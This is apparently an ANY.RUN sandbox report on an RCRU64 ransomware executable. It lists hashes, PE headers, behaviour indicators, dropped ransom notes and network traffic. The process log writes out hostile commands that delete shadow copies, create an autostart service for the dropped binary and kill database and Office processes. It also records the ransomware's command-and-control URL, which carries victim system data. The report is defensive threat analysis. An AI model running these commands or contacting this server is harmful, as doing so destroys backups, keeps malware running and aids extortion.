File name:

Help.File@zohomail.eu_Fast

Full analysis: https://app.any.run/tasks/43e78de7-bfb5-4908-a091-84d3437cb3ea
Verdict: Malicious activity
Threats:

Ransomware is a type of malicious software that locks users out of their system or data using different methods to force them to pay a ransom. Most often, such programs encrypt files on an infected machine and demand a fee to be paid in exchange for the decryption key. Additionally, such programs can be used to steal sensitive information from the compromised computer and even conduct DDoS attacks against affected organizations to pressure them into paying.

Malware Trends Tracker     >>>
Analysis date: August 08, 2023, 07:48:08
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
evasion
rcru64
ransomware
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (console) Intel 80386, for MS Windows
MD5:

058DF3567926AD6520A249A3050E8936

SHA1:

6CC228FB8A77E57E597E80C8DB8B935724276FF3

SHA256:

9D90421B2E7AFFF3634A9B1590A165C07995D9E4F171E143C131D540147EC556

SSDEEP:

24576:R2ALmtTEYcN3ALfxdkST1750WKRuTx/0OjuSIMxMgWIMz/8vB0MIGaVp:NLSaN3ALQK14RuTxruCMIMz/IB0MIGar

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Create files in the Startup directory

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • Deletes shadow copies

      • cmd.exe (PID: 4044)
      • cmd.exe (PID: 3824)

    • Connects to the CnC server

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • RCRU64 was detected

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • Modifies files in the Chrome extension folder

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • Actions looks like stealing of personal data

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

  • SUSPICIOUS

    • Get information on the list of running processes

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)
      • cmd.exe (PID: 4084)
      • cmd.exe (PID: 4044)

    • Using 'findstr.exe' to search for text patterns in files and output

      • cmd.exe (PID: 4084)

    • Executable content was dropped or overwritten

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 2816)
      • cmd.exe (PID: 3928)
      • cmd.exe (PID: 280)

    • Starts CMD.EXE for commands execution

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)
      • wscript.exe (PID: 580)

    • Executing commands from a ".bat" file

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)
      • wscript.exe (PID: 580)

    • The process executes VB scripts

      • cmd.exe (PID: 1208)

    • Reads the Internet Settings

      • cmd.exe (PID: 1208)
      • Help.File@zohomail.eu_Fast.exe (PID: 3224)
      • wscript.exe (PID: 580)
      • WMIC.exe (PID: 916)

    • Found strings related to reading or modifying Windows Defender settings

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • Uses TIMEOUT.EXE to delay execution

      • cmd.exe (PID: 4044)

    • Checks for external IP

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 3824)

    • Uses NETSH.EXE to change the status of the firewall

      • cmd.exe (PID: 3824)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 1392)

    • Connects to the server without a host name

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • Uses TASKKILL.EXE to kill Browsers

      • cmd.exe (PID: 1392)

    • Connects to unusual port

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • Uses TASKKILL.EXE to kill Office Apps

      • cmd.exe (PID: 1392)

  • INFO

    • The process checks LSA protection

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)
      • tasklist.exe (PID: 3376)
      • systeminfo.exe (PID: 1884)
      • vssadmin.exe (PID: 600)
      • systeminfo.exe (PID: 2852)
      • tasklist.exe (PID: 980)
      • tasklist.exe (PID: 2464)
      • tasklist.exe (PID: 3580)
      • taskkill.exe (PID: 3452)
      • WMIC.exe (PID: 916)
      • wbadmin.exe (PID: 1572)
      • netsh.exe (PID: 2488)
      • netsh.exe (PID: 3860)
      • netsh.exe (PID: 2152)
      • taskkill.exe (PID: 2072)
      • taskkill.exe (PID: 444)
      • taskkill.exe (PID: 3312)
      • taskkill.exe (PID: 3860)
      • taskkill.exe (PID: 1280)
      • taskkill.exe (PID: 2408)
      • vssadmin.exe (PID: 3424)
      • taskkill.exe (PID: 2604)
      • taskkill.exe (PID: 896)
      • taskkill.exe (PID: 276)
      • taskkill.exe (PID: 2788)
      • taskkill.exe (PID: 740)
      • taskkill.exe (PID: 3428)
      • taskkill.exe (PID: 1672)
      • taskkill.exe (PID: 528)
      • taskkill.exe (PID: 3812)
      • taskkill.exe (PID: 188)
      • taskkill.exe (PID: 2948)
      • taskkill.exe (PID: 3484)
      • taskkill.exe (PID: 2500)
      • taskkill.exe (PID: 4068)
      • taskkill.exe (PID: 3020)
      • taskkill.exe (PID: 1496)
      • taskkill.exe (PID: 1700)
      • taskkill.exe (PID: 2328)
      • taskkill.exe (PID: 1900)
      • taskkill.exe (PID: 3620)
      • taskkill.exe (PID: 2460)
      • taskkill.exe (PID: 3540)
      • taskkill.exe (PID: 1804)
      • taskkill.exe (PID: 2548)
      • taskkill.exe (PID: 1216)
      • taskkill.exe (PID: 3280)
      • taskkill.exe (PID: 2980)
      • taskkill.exe (PID: 628)
      • taskkill.exe (PID: 1024)
      • tasklist.exe (PID: 2492)
      • tasklist.exe (PID: 1652)
      • taskkill.exe (PID: 2884)
      • taskkill.exe (PID: 3072)
      • taskkill.exe (PID: 948)

    • Reads the machine GUID from the registry

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • Checks supported languages

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • Reads the computer name

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • Creates files or folders in the user directory

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • Checks operating system version

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • [YARA] Firewall manipulation strings were found

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)

    • Checks proxy server information

      • Help.File@zohomail.eu_Fast.exe (PID: 3224)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (64.6)
.dll | Win32 Dynamic Link Library (generic) (15.4)
.exe | Win32 Executable (generic) (10.5)
.exe | Generic Win/DOS Executable (4.6)
.exe | DOS Executable Generic (4.6)

EXIF

EXE

Subsystem: Windows command line
SubsystemVersion: 5.1
ImageVersion: -
OSVersion: 5.1
EntryPoint: 0x90f31
UninitializedDataSize: -
InitializedDataSize: 368640
CodeSize: 922624
LinkerVersion: 14.2
PEType: PE32
ImageFileCharacteristics: Executable, 32-bit
TimeStamp: 2023:06:02 18:33:24+00:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_CUI
Compilation Date: 02-Jun-2023 18:33:24
Detected languages:
  • English - United States
TLS Callbacks: 1 callback(s) detected.
Debug artifacts:
  • C:\Users\Unknown\source\repos\ConsoleApplication5_A\Release\ConsoleApplication5_A.pdb

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000108

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 5
Time date stamp: 02-Jun-2023 18:33:24
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x000E12E6
0x000E1400
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.64427
.rdata
0x000E3000
0x0003BC48
0x0003BE00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.00945
.data
0x0011F000
0x00010778
0x00008200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
4.83241
.rsrc
0x00130000
0x000001E0
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.7015
.reloc
0x00131000
0x0000D720
0x0000D800
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
6.57716

Resources

Title
Entropy
Size
Codepage
Language
Type
1
4.91161
381
UNKNOWN
English - United States
RT_MANIFEST

Imports

ADVAPI32.dll
KERNEL32.dll
NETAPI32.dll
SHELL32.dll
SHLWAPI.dll
USER32.dll
WININET.dll
WS2_32.dll
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
146
Monitored processes
100
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start #RCRU64 help.file@zohomail.eu_fast.exe cmd.exe no specs tasklist.exe no specs findstr.exe no specs cmd.exe no specs sc.exe no specs cmd.exe no specs sc.exe no specs sc.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs wscript.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs systeminfo.exe no specs find.exe no specs cmd.exe no specs tasklist.exe no specs find.exe no specs vssadmin.exe no specs timeout.exe no specs cmd.exe no specs find.exe no specs systeminfo.exe no specs cmd.exe no specs find.exe no specs tasklist.exe no specs timeout.exe no specs find.exe no specs tasklist.exe no specs timeout.exe no specs reg.exe no specs cmd.exe no specs vssadmin.exe no specs reg.exe no specs wmic.exe no specs netsh.exe no specs netsh.exe no specs netsh.exe no specs wbadmin.exe no specs cmd.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs tasklist.exe no specs find.exe no specs timeout.exe no specs find.exe no specs tasklist.exe no specs timeout.exe no specs find.exe no specs tasklist.exe no specs timeout.exe no specs tasklist.exe no specs find.exe no specs timeout.exe no specs tasklist.exe no specs find.exe no specs timeout.exe no specs find.exe no specs tasklist.exe no specs timeout.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
188taskkill /im agntsvc.exeC:\Windows\System32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\version.dll
276taskkill /im synctime.exeC:\Windows\System32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\sechost.dll
c:\windows\system32\user32.dll
280C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=autoC:\Windows\System32\cmd.exe—Help.File@zohomail.eu_Fast.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
5
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\cmd.exe
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\lpk.dll
444taskkill /im sqlagent.exeC:\Windows\System32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\version.dll
528C:\Windows\system32\cmd.exe /c systeminfo|find /i "original"C:\Windows\System32\cmd.exe—Help.File@zohomail.eu_Fast.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
528taskkill /im mydesktopservice.exeC:\Windows\System32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
580"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\S-8459.vbs" C:\Windows\System32\wscript.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\gdi32.dll
600vssadmin.exe Delete Shadows /All /QuietC:\Windows\System32\vssadmin.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
2
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\vssadmin.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\atl.dll
628taskkill /im wordpad.exeC:\Windows\System32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\version.dll
740taskkill /im mydesktopqos.exeC:\Windows\System32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
Total events
11 764
Read events
11 578
Write events
186
Delete events
0

Modification events

(PID) Process:(1208) cmd.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(1208) cmd.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(1208) cmd.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(1208) cmd.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(580) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(580) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(580) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(580) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2852) systeminfo.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\178\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(1884) systeminfo.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\178\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
35
Suspicious files
514
Text files
1 879
Unknown types
10

Dropped files

PID
Process
Filename
Type
3224Help.File@zohomail.eu_Fast.exeC:\MSOCache\All Users\{90140000-0015-0407-0000-0000000FF1CE}-C\AccLR.cab_[ID-4KLSD_Mail-Help.File@zohomail.eu].MBU —
MD5:—
SHA256:—
3224Help.File@zohomail.eu_Fast.exeC:\Users\admin\AppData\SysMain.sysbinary
MD5:CFCD208495D565EF66E7DFF9F98764DA
SHA256:5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
3224Help.File@zohomail.eu_Fast.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeexecutable
MD5:058DF3567926AD6520A249A3050E8936
SHA256:9D90421B2E7AFFF3634A9B1590A165C07995D9E4F171E143C131D540147EC556
3224Help.File@zohomail.eu_Fast.exeC:\MSOCache\All Users\{90140000-0015-040C-0000-0000000FF1CE}-C\AccLR.cab_[ID-4KLSD_Mail-Help.File@zohomail.eu].MBU —
MD5:—
SHA256:—
3224Help.File@zohomail.eu_Fast.exeC:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-1000\Restore_Your_Files.txttext
MD5:27591842957E5D7550DC0A414556B1E1
SHA256:A1BB09F9509EFD1B4D18F9CE6FE51EBE606FA7B6FA33856E39B7685B67D79CD6
3224Help.File@zohomail.eu_Fast.exeC:\Users\admin\AppData\S-6748.battext
MD5:7B32CC872C314D19AE8AEF9430937720
SHA256:1A6BF0619BD1ECA30A2720C1F68D7B3740198AF14692E7D2A506328A10F7039A
3224Help.File@zohomail.eu_Fast.exeC:\MSOCache\All Users\{90140000-0015-0407-0000-0000000FF1CE}-C\AccessMUI.xmlxml
MD5:A46B71D3D6A0D36905162F85EA47E7D8
SHA256:DFB122A94F86A27C6230B7153FA687F62B01FD8669AC47FBB6306DF9FBE107F4
3224Help.File@zohomail.eu_Fast.exeC:\Users\admin\AppData\S-8459.vbstext
MD5:ED7A274FF8AC640416952BFB5D6C927A
SHA256:4D68E4A7A437EB4A7AD9C7B28BDDA894A68AE41EFBA8A5E4D3A6A930BEBFEEA5
3224Help.File@zohomail.eu_Fast.exeC:\MSOCache\All Users\{90140000-0015-0410-0000-0000000FF1CE}-C\Restore_Your_Files.txttext
MD5:27591842957E5D7550DC0A414556B1E1
SHA256:A1BB09F9509EFD1B4D18F9CE6FE51EBE606FA7B6FA33856E39B7685B67D79CD6
3224Help.File@zohomail.eu_Fast.exeC:\MSOCache\All Users\Restore_Your_Files.txttext
MD5:27591842957E5D7550DC0A414556B1E1
SHA256:A1BB09F9509EFD1B4D18F9CE6FE51EBE606FA7B6FA33856E39B7685B67D79CD6
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
7
DNS requests
2
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3224
Help.File@zohomail.eu_Fast.exe
GET
200
64.185.227.156:80
http://api.ipify.org/
US
text
12 b
shared
3224
Help.File@zohomail.eu_Fast.exe
GET
200
185.147.34.53:3586
http://185.147.34.53:3586/39_And_Netword_Drive_Size:0_Encryption_Mode:_Fast_Mode!Empty]_____10/5/2017,_10:19:56_AM$_Tue_08/08/2023-_8:48:[Version_6.1.7601|Microsoft_Windows_7_Professional_hg3l,45.86.200.98~L8aqJxmQ0hEfebMzMDu/AnYS08E/f1fQthi0NARXsQ6CXsenb9iWNo7mjSxsvQms+psksOFr1BcyjDLejgqHvjI0Oi9XYQzunSOJGh//c8EVx/N6XHut5q/sEjTRU7mNAITyBuaeY1RuQ48LTs1musMTftdCNdns5OjlvozC7KDStclTbB/ukXar0Yz5X3gFdwtSPteUZ3ad73DG3rcXf7I3OJun5lZ2eRqfMoq5zsjLTWEIvnXcBUt0p4bRQ1My18svZ66OpiEXQBzu6mXuj+edfy65oGmcyGLAEV1LC4peTfRmeZG9jnCa6wbGKb74uKK1Ekxo1NAiQDLY9jXCmvXJDbw0P/0ra7bgmqMGPLP0H/EWwCBc0HOMtgKYzSSzYFWxZIR3/03H5zTFazdcRodN+s79KV+dIbH/wG/ICrttSbvhASV8tBBPZ35Ngiyh1/xeASdzqGibbgnkK54GqMH+/cJB0OVa4J2u9D+nfaN780ayT8HlnImtE2giwAqo7W+J7x23qsh/t8K/Lcy5K2VUi4lF3Vh46//8zeJihPfbegAevuTbp6I5dIL4of4H5O5hePNEZLtVXxeqro8joHFqLt12Aphra/oL7AgERAoIBAEvZoWG4PQ3iwykkqLErsRXXNI2WpteXd+9U8OVcmO7pXoQwGHVRak55Gb/OC0qpi4jbBq+Maqfc0jlP6hpnMk355tUs9zuSg+mlf8A0fksxTUz1hVHx+TSc04DLZAM2pYqKq3bjZc/izjP2SsIpYwJ2JbKdGFBm2wIdwwO4ZcemAsYSJpmm5QWCNRniKyZBPGkjNgVbX6rBfz++hgkeQtmiWvSIUq3F3zzIMgQsSH4USsz9drWZGEwhqUyow6X9MfXDi2uGf6gjWDIpxCWuryC+q33z5nuyiU8dCCKbIIJAW+wWSs+dpbAQs4HsBuWHGdf/HsZmeKuZS97ydpkrkxECgYEA5kN2DsnE9makXPjf6z1Nd0Wrszs39PakyIOSiwswZaeEJziNxj6wbUc3uIJKxBA3Uia7BWKTazrHfQB7AcPuUUe+MY0u3PV8YhFV3kM2V0HWlbVMnGf4DXsF3fHeGcM9vIRinLsZ7Cnfp12wS73bacqET0ZkhntzijvJE+hflDMCgYEA7u3PM3PP3GceJrRkZ/tF64s9TUk6YLQOnon6qGOX/+ZMMY40Yr/O+pjDMeuSg3mua2SM6GiuRqfPoHuuSSkKUPYK8betY9EBytffPuJat7+Fx7G+TW1jdSnhF0CoQyjXUoczEUc4VsGDLSC3ILpBDP0h98Tq039m0aKDYZX4zhkCgYEAvaD3z/F1BydaLnKaSUGLFu4U7fSIb2G04V1LgZC+cdU/p9Q4hSSRSu9bEGtMoXbEJYlOuSQA7uUcwUuwmArEQu/JznREtfdXX9IKes3whBgaIO+ogM4XkqGMXGzVBihQ9ZozF6kkaCJ78z4YttiWk1t8BQzLQZLXnwQPAVX0W+0CgYAcG/pCSdw4DCGqM1cbSrzuiNoJF6yD2PKpPWjIhC///PnntmCEFpDSMBb20GuW/0GySBCT0BSAyHLHlhSBE+MYlWqzBozekQ9FClZ/3mUGjwCuFOk2SRrCfWXGgBPLqnOvWzMvNY4oUwBfqX70yp49w21ocYUJ0sDNXmnPPtH6IQKBgGWFwYvM2CRpLLAKkBXztkdq3CYgfi+B3JC378QUVR+LIcVFQDLwMgBHMdJ5WOKyh+hAEEE5uhVjGsg4LxWepnxDIhBP26+RpYgr54qxumrtVySLwu8kQtnRAHbNXqlHsrrpRwOmYQUMat/AudKIASblQss2QlBNGMsLz3gMCphT&4KLSD*2.999504(4)4,d5Help.File@zohomail.eu
NL
text
5 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
2640
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
3224
Help.File@zohomail.eu_Fast.exe
173.231.16.76:80
api.ipify.org
WEBNX
US
malicious
1088
svchost.exe
224.0.0.252:5355
—
—
—
unknown
3224
Help.File@zohomail.eu_Fast.exe
64.185.227.156:80
api.ipify.org
WEBNX
US
suspicious
3224
Help.File@zohomail.eu_Fast.exe
185.147.34.53:3586
—
Hyonix LLC
NL
malicious

DNS requests

Domain
IP
Reputation
api.ipify.org
  • 173.231.16.76
  • 64.185.227.156
  • 104.237.62.211
shared
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
3224
Help.File@zohomail.eu_Fast.exe
Device Retrieving External IP Address Detected
ET POLICY External IP Lookup api.ipify.org
3224
Help.File@zohomail.eu_Fast.exe
Potentially Bad Traffic
ET USER_AGENTS Suspicious UA Observed (YourUserAgent)
3224
Help.File@zohomail.eu_Fast.exe
Malware Command and Control Activity Detected
ET MALWARE [ANY.RUN] RCRU64 Ransomware Variant CnC Activity
3224
Help.File@zohomail.eu_Fast.exe
Device Retrieving External IP Address Detected
SUSPICIOUS [ANY.RUN] Received IP address from server as result of HTTP request
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Help.File@zohomail.eu_Fast